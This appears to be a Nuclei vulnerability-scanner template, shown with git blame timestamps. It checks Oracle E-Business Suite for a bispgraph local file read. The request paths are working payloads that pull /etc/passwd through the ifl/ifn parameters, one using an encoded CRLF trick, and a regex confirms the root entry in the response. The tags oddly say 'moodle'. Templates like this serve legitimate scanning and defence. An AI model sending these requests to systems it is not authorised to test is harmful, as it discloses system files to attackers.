nuclei-templates/vulnerabilities/oracle/oracle-ebs-bispgraph-file-a...

19 lines
439 B
YAML
Raw Normal View History

2020-07-28 15:14:22 +00:00
id: oracle-ebs-bispgrapgh-file-read
2020-07-31 10:02:19 +00:00
info:
2020-07-28 15:14:22 +00:00
name: Oracle EBS Bispgraph File Access
author: emenalf & tirtha_mandal
2020-08-31 18:34:29 +00:00
severity: critical
tags: moodle,lfi
2020-07-28 15:14:22 +00:00
requests:
- method: GET
2020-07-31 10:02:19 +00:00
path:
2020-07-28 15:14:22 +00:00
- "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
2020-10-07 22:19:59 +00:00
- "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"
2020-07-28 15:14:22 +00:00
2020-07-31 10:02:19 +00:00
matchers:
2020-07-28 15:14:22 +00:00
- type: regex
regex:
- "root:[x*]:0:0:"
part: body